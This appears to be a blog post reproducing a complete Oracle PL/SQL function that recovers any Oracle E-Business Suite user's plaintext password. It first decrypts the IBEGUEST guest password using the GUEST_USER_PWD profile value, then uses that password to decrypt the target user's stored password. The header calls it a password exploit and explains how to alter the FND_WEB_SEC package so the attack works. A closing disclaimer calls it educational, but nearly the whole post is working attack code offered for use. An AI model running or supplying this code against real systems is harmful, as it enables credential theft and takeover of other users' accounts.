Decrypting Password

CREATE OR REPLACE FUNCTION HH_TERM_DECRYPT
/********************************************************************
* FILE NAME
* HH_TERM_DECRYPT.sql
*
*
* DESCRIPTION
* This Oracle function will decrypt the Oracle Apps password from
* a given user. The function can be called from a SQL command line
* by issuing the following command:
*
* SELECT HH_term_decrypt('HHHHHH') FROM DUAL;
*
* Where HHHHHH is the username of which the password is required.
* For this function to be able to work correctly a modification to
* the package specification of FND_WEB_SEC is needed. Please add
* the following line to the FND_WEB_SEC package:
*
* function decrypt(key in varchar2, value in varchar2) return varchar2;
*
* A more detailed description of this Oracle Password exploit can be
* found at the weblog of Johan Louwers: http://johanlouwers.blogspot.com/
* More information about Oracle security can be found at his website
* at http://www.terminalcult.org/
*
*
*
*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* http://www.gnu.org/licenses/gpl.txt
*
*
* DOWNLOAD / CONTACT
* you can download the script from the following location:
* http://www.terminalcult.org/source/oracle/sql/HH_TERM_DECRYPT.sql
*
* You can contact Johan Louwers at Johan.Louwers(at)terminalcult.org
*
*
* HISTORY
* Version Date Author(s) Description
* ------- ----------- ------------------- --------------------------
* 1.0 02-JAN-2007 Johan Louwers Initial Creation
*
*******************************************************************/
(p_user_name IN VARCHAR2)
RETURN CHAR
IS


/* ------------------------------------------------------------------------------------*/
/* Select the profile option GUEST_USER_PWD, the value of the profile option is used as
a decryption key for the guest user encrypted password. */
CURSOR c_guest_profile
IS
SELECT
fnd_profile.value('GUEST_USER_PWD') AS PROFILE_OPTION
FROM
dual;
r_guest_profile c_guest_profile%ROWTYPE;
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/*Select the encrypted guest user password so it can be decrypted in a later stage. The
decrypted guest user password is used as a decryption key for the user password.*/
CURSOR c_guest_user_password
IS
SELECT
usertable.encrypted_foundation_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper('IBEGUEST');
r_guest_user_password c_guest_user_password%ROWTYPE;
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/* Decrypt the guest user password using the profile option value as a decryption key. The
decrypted guest user password is used as a decryption key for the user password. */
CURSOR c_guest_password_decrypt
IS
SELECT
fnd_web_sec.decrypt(r_guest_profile.profile_option , r_guest_user_password.encrypted_foundation_password) AS GUEST_PWD
FROM
DUAL;
r_guest_password_decrypt c_guest_password_decrypt%ROWTYPE;
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/* Select the encrypted user password from the user which you want to decrypt the password
from. The decryption of the user password is done in a later stage. */
CURSOR c_encrypted_password(
p_user_name VARCHAR2
)
IS
SELECT usertable.encrypted_user_password FROM fnd_user usertable WHERE USER_NAME = p_user_name;
r_encrypted_password c_encrypted_password%ROWTYPE;
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/* Decrypt the password from the user using the decrypted guest user password as the decryption
key and the encrypted user password to be decrypted */
CURSOR c_decrypt_password(
key VARCHAR2
,password VARCHAR2
)
IS
SELECT fnd_web_sec.decrypt(key, password) AS DECRYPTED_PASSWORD from dual;
r_decrypt_password c_decrypt_password%ROWTYPE;
/* ------------------------------------------------------------------------------------*/



BEGIN
/*Open, fetch and close cursor responsible for the guest user profile option. */
OPEN c_guest_profile;
FETCH c_guest_profile INTO r_guest_profile;
CLOSE c_guest_profile;

/*Open, fetch and close cursor responsible for selecting the encrypted guest user password. */
OPEN c_guest_user_password;
FETCH c_guest_user_password INTO r_guest_user_password;
CLOSE c_guest_user_password;

/*Open, fetch and close cursor responsible for decrypting the guest user password. */
OPEN c_guest_password_decrypt;
FETCH c_guest_password_decrypt INTO r_guest_password_decrypt;
CLOSE c_guest_password_decrypt;

/*Open, fetch and close cursor responsible for selecting the encrypted user password. */
OPEN c_encrypted_password(p_user_name);
FETCH c_encrypted_password INTO r_encrypted_password;
CLOSE c_encrypted_password;

/*Open, fetch and close cursor responsible for decrypting the user password */
OPEN c_decrypt_password(r_guest_password_decrypt.guest_pwd, r_encrypted_password.encrypted_user_password);
FETCH c_decrypt_password INTO r_decrypt_password;
CLOSE c_decrypt_password;

/*Return the decrypted user password */
RETURN (r_decrypt_password.decrypted_password);

/*End the function */
END HH_TERM_DECRYPT;

cheers!!


Disclaimer: All The Contents are for educational purpose.Author is not responsible for any mishandling of the code causing legal issue.